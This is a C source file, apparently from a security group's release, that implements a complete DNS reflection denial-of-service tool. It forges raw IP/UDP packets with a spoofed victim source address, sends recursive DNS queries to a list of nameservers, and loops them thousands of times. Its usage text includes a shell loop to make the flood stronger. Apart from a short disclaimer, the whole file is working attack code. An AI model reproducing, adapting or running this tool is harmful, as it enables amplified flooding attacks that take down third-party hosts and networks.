Dnsdrdos
Code:
/*******************************************************************************
* *
* ~ .__ °.__ 0 o ^ .__ °__ `´ *
* °____) __ __| | | °| ______°____ 0 ____ __ _________|__|/ |_ ___.__. *
* / \| | °\ |°| | °/ ___// __ \_/ ___\| | °\_ __ \ o\ __< | | *
* | o°| \ | / |_| |__\___ \\ ___/\ °\___| o| /| | \/ || |° \___ O| *
* |___| /____/|____/____/____ °>\___ >\___ >____/ |__|° |__||__| / ____| *
* `´´`´\/´`nullsecurity team`´\/`´´`´\/`´``´\/ ``´```´```´´´´`´``0_o\/´´`´´ *
* *
* dnsdrdos.c - DNS distributed reflection DoS *
* *
* DATE *
* xx/xx/2010 *
* *
* DESCRIPTION *
* dnsdrdos - Proof of concept code for distributed DNS reflection DoS. *
* All you need is only a list of authorative nameservers. This technique is *
* well-known and can be used against much more protocols. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
* NOTES *
* - quick'n'dirty code *
* - Only for testing purposes. I am not responsible for misusage. *
* *
******************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
/* global settings */
#define VERSION "v0.1"
#define ATOI(x) strtol(x, (char **) NULL, 10)
#define MAX_LEN 128 /* max line for dns server list */
/* default settings */
#define DEFAULT_SPOOF_ADDR "127.0.0.1"
#define DEFAULT_DOMAIN "google.com."
#define DEFAULT_DNS_PORT 53
#define DEFAULT_LOOPS 10000
/* error handling */
#define __EXIT_FAILURE exit(EXIT_FAILURE);
#define __EXIT_SUCCESS exit(EXIT_SUCCESS);
#define __ERR_GEN do { fprintf(stderr,"[-] ERROR: " __FILE__ ":%u -> ",\
__LINE__); fflush(stderr); perror(""); \
__EXIT_FAILURE } while (0)
/* dns header */
typedef struct {
unsigned short id;
unsigned char rd :1;
unsigned char tc :1;
unsigned char aa :1;
unsigned char opcode :4;
unsigned char qr :1;
unsigned char rcode :4;
unsigned char cd :1;
unsigned char ad :1;
unsigned char z :1;
unsigned char ra :1;
unsigned short q_count;
unsigned short ans_count;
unsigned short auth_count;
unsigned short add_count;
} dnsheader_t;
/* dns query */
typedef struct {
unsigned short qtype;
unsigned short qclass;
} query_t;
/* our job */
typedef struct {
char *file;
char **addrs;
uint16_t port;
unsigned int num_addrs;
char *spoof_addr;
char *domain;
unsigned int loops;
} job_t;
/* our bomb */
typedef struct {
int one;
int sock;
char *packet;
struct sockaddr_in target;
struct iphdr *ip;
struct udphdr *udp;
dnsheader_t *dns;
query_t *query;
} bomb_t;
/* just wrapper */
void *xmalloc(size_t);
void *xmemset(void *, int, size_t);
int xsocket(int, int, int);
void xclose(int);
void xsendto(int, const void *, size_t, int, const struct sockaddr *,
socklen_t);
/* prog stuff */
void banner();
void usage();
void check_argc(int);
void check_args();
FILE *open_file(char *);
unsigned int count_lines(char *);
char **read_lines(char *, unsigned int);
void check_uid();
/* net stuff */
bomb_t *create_rawsock(bomb_t *);
bomb_t *stfu_kernel(bomb_t *);
unsigned short checksum(unsigned short *, int);
bomb_t *build_ip_header(bomb_t *, job_t *, int);
bomb_t *build_udp_header(bomb_t *, job_t *);
bomb_t *build_dns_request(bomb_t *, job_t *);
void dns_name_format(char *, char *);
bomb_t *build_packet(bomb_t *, job_t *, int);
bomb_t *fill_sockaddr(bomb_t *);
void run_dnsdrdos(job_t *, int);
void free_dnsdrdos(job_t *);
/* wrapper for malloc() */
void *xmalloc(size_t size)
{
void *buff;
if ((buff = malloc(size)) == NULL) {
__ERR_GEN;
}
return buff;
}
/* wrapper for memset() */
void *xmemset(void *s, int c, size_t n)
{
if (!(s = memset(s, c, n))) {
__ERR_GEN;
}
return s;
}
/* wrapper for socket() */
int xsocket(int domain, int type, int protocol)
{
int sockfd = 0;
sockfd = socket(domain, type, protocol);
if (sockfd == -1) {
__ERR_GEN;
}
return sockfd;
}
/* wrapper for setsockopt() */
void xsetsockopt(int sockfd, int level, int optname, const void *optval,
socklen_t optlen)
{
int x = 0;
x = setsockopt(sockfd, level, optname, optval, optlen);
if (x != 0) {
__ERR_GEN;
}
return;
}
/* wrapper for close() */
void xclose(int fd)
{
int x = 0;
x = close(fd);
if (x != 0) {
__ERR_GEN;
}
return;
}
/* wrapper for sendto() */
void xsendto(int sockfd, const void *buf, size_t len, int flags,
const struct sockaddr *dest_addr, socklen_t addrlen)
{
int x = 0;
x = sendto(sockfd, buf, len, flags, dest_addr, addrlen);
if (x == -1) {
__ERR_GEN;
}
return;
}
/* just our leet banner */
void banner()
{
printf("---------------------------------------\
\ndnsdrdos - http://www.nullsecurity.net/\
\n---------------------------------------\n");
return;
}
/* usage and help */
void usage()
{
printf("usage:\n\n\
dnsdrdos -f <file> [options] | [misc]\n\
\ntarget:\n\n\
-f <file> - list of dns servers (only one ip-address per line!)\n\
-s <addr> - ip-address to spoof (default: 127.0.0.1)\n\
-d <domain> - which domain should be requested?\n\
(default: \"google.com.\")\n\
-l <num> - how many loops through list? (default: 10000)\n\nmisc:\n\n\
-V - show version\n\
-H - show help and usage\n\nexample:\n\n\
./dnsdrdos -f nameserver.lst -s 192.168.2.211 -d google.com. -l 10000\n\n\
or better:\n\n\
$ for i in `seq 1 1000`; do ./dnsdrdos -f nameserver.lst \\\n\
-s 192.168.2.211 -d $i -l 10000; done\n\n\
This is better, because we ask dynamically for any domain names.\n\
Even if the domainname is not given, 'we' still would recieve DNS\n\
answers.\n");
__EXIT_SUCCESS;
return;
}
/* check first usage */
void check_argc(int argc)
{
if (argc < 2) {
fprintf(stderr, "[-] ERROR: use -H for help and usage\n");
__EXIT_FAILURE;
}
return;
}
/* check if host and port are selected */
void check_args(job_t *job)
{
if (!(job->file) || !(job->spoof_addr) || (job->loops <= 0)) {
fprintf(stderr, "[-] ERROR: you fucked up, mount /dev/brain\n");
__EXIT_FAILURE
}
return;
}
/* open file and return file pointer */
FILE *open_file(char *file)
{
FILE *fp = NULL;
if (!(fp = fopen(file, "r"))) {
__ERR_GEN;
}
return fp;
}
/* count lines -> wc -l :) */
unsigned int count_lines(char *file)
{
FILE *fp = NULL;
int c = 0;
unsigned int lines = 0;
fp = open_file(file);
while ((c = fgetc(fp)) != EOF) {
if ((c == '\n') || (c == 0x00)) {
lines++;
}
}
fclose(fp);
return lines;
}
/* read in ip-addresses line by line */
char **read_lines(char *file, unsigned int lines)
{
FILE *fp = NULL;
char *buffer = NULL;
char **words = NULL;
int i = 0;
fp = open_file(file);
buffer = (char *) xmalloc(MAX_LEN);
words = (char **) xmalloc(lines * sizeof(char *));
buffer = xmemset(buffer, 0x00, MAX_LEN);
while (fgets(buffer, MAX_LEN, fp) != NULL) {
if ((buffer[strlen(buffer) - 1] == '\n') ||
(buffer[strlen(buffer) - 1] == '\r')) {
buffer[strlen(buffer) - 1] = 0x00;
words[i] = (char *) xmalloc(MAX_LEN - 1);
words[i] = xmemset(words[i], 0x00, MAX_LEN - 1);
strncpy(words[i], buffer, MAX_LEN - 1);
buffer = xmemset(buffer, 0x00, MAX_LEN - 1);
i++;
} else {
continue;
}
}
free(buffer);
fclose(fp);
return words;
}
/* set default values */
job_t *set_defaults()
{
job_t *job;
job = (job_t *) xmalloc(sizeof(job_t));
job = xmemset(job, 0x00, sizeof(job_t));
job->port = (uint16_t) DEFAULT_DNS_PORT;
job->spoof_addr = DEFAULT_SPOOF_ADDR;
job->domain = DEFAULT_DOMAIN;
job->loops = (unsigned int) DEFAULT_LOOPS;
return job;
}
/* check for uid */
void check_uid()
{
if (getuid() != 0) {
fprintf(stderr, "[-] ERROR: you need to be r00t\n");
__EXIT_FAILURE;
}
return;
}
/* create raw socket */
bomb_t *create_rawsock(bomb_t *bomb)
{
bomb->sock = xsocket(AF_INET, SOCK_RAW, IPPROTO_RAW);
return bomb;
}
/* say STFU to kernel - we set our own headers */
bomb_t *stfu_kernel(bomb_t *bomb)
{
bomb->one = 1;
xsetsockopt(bomb->sock, IPPROTO_IP, IP_HDRINCL, &bomb->one,
sizeof(bomb->one));
return bomb;
}
/* checksum for IP and UDP header */
unsigned short checksum(unsigned short *addr, int len)
{
u_int32_t cksum = 0;
while(len > 0) {
cksum += *addr++;
len -= 2;
}
if(len == 0) {
cksum += *(unsigned char *) addr;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum = cksum + (cksum >> 16);
return (~cksum);
}
/* build and fill in ip header */
bomb_t *build_ip_header(bomb_t *bomb, job_t *job, int c)
{
bomb->ip = (struct iphdr *) bomb->packet;
bomb->ip->version = 4;
bomb->ip->ihl = 5;
bomb->ip->id = htonl(rand());
bomb->ip->saddr = inet_addr(job->spoof_addr);
bomb->ip->daddr = inet_addr(job->addrs[c]);
bomb->ip->ttl = 64;
bomb->ip->tos = 0;
bomb->ip->frag_off = 0;
bomb->ip->protocol = IPPROTO_UDP;
bomb->ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) +
sizeof(dnsheader_t) + sizeof(query_t) +
strlen(job->domain) + 1);
bomb->ip->check = checksum((unsigned short *) bomb->ip,
sizeof(struct iphdr));
return bomb;
}
/* build and fill in udp header */
bomb_t *build_udp_header(bomb_t *bomb, job_t *job)
{
bomb->udp = (struct udphdr *) (bomb->packet + sizeof(struct iphdr));
bomb->udp->source = htons(rand());
bomb->udp->dest = htons(DEFAULT_DNS_PORT);
bomb->udp->len = htons(sizeof(struct udphdr) + sizeof(dnsheader_t) +
sizeof(query_t) + strlen(job->domain) + 1);
bomb->udp->check = 0;
return bomb;
}
/* convert to dns format */
void dns_name_format(char *qname, char *host)
{
int i = 0;
int j = 0;
for (i = 0 ; i < (int) strlen(host) ; i++) {
if (host[i] == '.') {
*qname++ = i-j;
for (; j < i; j++) {
*qname++ = host[j];
}
j++;
}
}
*qname++ = 0x00;
}
/* build and fill in dns request */
bomb_t *build_dns_request(bomb_t *bomb, job_t *job)
{
char *qname = NULL;
bomb->dns = (dnsheader_t *) (bomb->packet + sizeof(struct iphdr) +
sizeof(struct udphdr));
bomb->dns->id = (unsigned short) htons(getpid());
bomb->dns->qr = 0;
bomb->dns->opcode = 0;
bomb->dns->aa = 0;
bomb->dns->tc = 0;
bomb->dns->rd = 1;
bomb->dns->ra = 0;
bomb->dns->z = 0;
bomb->dns->ad = 0;
bomb->dns->cd = 0;
bomb->dns->rcode = 0;
bomb->dns->q_count = htons(1);
bomb->dns->ans_count = 0;
bomb->dns->auth_count = 0;
bomb->dns->add_count = 0;
qname = &bomb->packet[sizeof(struct iphdr) + sizeof(struct udphdr) +
sizeof(dnsheader_t)];
dns_name_format(qname, job->domain);
bomb->query = (query_t *) &bomb->packet[sizeof(struct iphdr) +
sizeof(struct udphdr) + sizeof(dnsheader_t) + (strlen(qname) + 1)];
bomb->query->qtype = htons(1);
bomb->query->qclass = htons(1);
return bomb;
}
/* build packet */
bomb_t *build_packet(bomb_t *bomb, job_t *job, int c)
{
bomb->packet = (char *) xmalloc(1400);
bomb->packet = xmemset(bomb->packet, 0x00, 1400);
bomb = build_ip_header(bomb, job, c);
bomb = build_udp_header(bomb, job);
bomb = build_dns_request(bomb, job);
return bomb;
}
/* fill in sockaddr_in {} */
bomb_t *fill_sockaddr(bomb_t *bomb)
{
bomb->target.sin_family = AF_INET;
bomb->target.sin_port = bomb->udp->dest;
bomb->target.sin_addr.s_addr = bomb->ip->daddr;
return bomb;
}
/* start action! */
void run_dnsdrdos(job_t *job, int c)
{
bomb_t *bomb = NULL;
bomb = (bomb_t *) xmalloc(sizeof(bomb_t));
bomb = xmemset(bomb, 0x00, sizeof(bomb_t));
bomb = create_rawsock(bomb);
bomb = stfu_kernel(bomb);
bomb = build_packet(bomb, job, c);
bomb = fill_sockaddr(bomb);
xsendto(bomb->sock, bomb->packet, sizeof(struct iphdr) +
sizeof(struct udphdr) + sizeof(dnsheader_t) + sizeof(query_t) +
strlen(job->domain) + 1, 0, (struct sockaddr *) &bomb->target,
sizeof(bomb->target));
xclose(bomb->sock);
free(bomb->packet);
free(bomb);
return;
}
/* free dnsdrdos \o/ */
void free_dnsdrdos(job_t *job)
{
int i = 0;
for (i = 0; i < job->num_addrs; i++) {
free(job->addrs[i]);
}
free(job);
return;
}
/* here we go */
int main(int argc, char **argv)
{
int c = 0;
unsigned int i = 0;
job_t *job;
banner(); /* banner output is important! */
check_argc(argc);
job = set_defaults();
while ((c = getopt(argc, argv, "f:s:d:l:VH")) != -1) {
switch (c) {
case 'f':
job->file = optarg;
break;
case 's':
job->spoof_addr = optarg;
break;
case 'd':
job->domain = optarg;
break;
case 'l':
job->loops = (unsigned int) ATOI(optarg);
break;
case 'V':
puts(VERSION);
__EXIT_SUCCESS;
break;
case 'H':
usage();
break;
__EXIT_SUCCESS;
}
}
check_args(job);
job->num_addrs = count_lines(job->file);
job->addrs = read_lines(job->file, job->num_addrs);
check_uid();
for (i = 0; i < job->loops; i++) {
for (c = 0; c < job->num_addrs; c++) {
run_dnsdrdos(job, c);
}
}
printf("\n");
free_dnsdrdos(job);
return 0;
}
/* EOF */
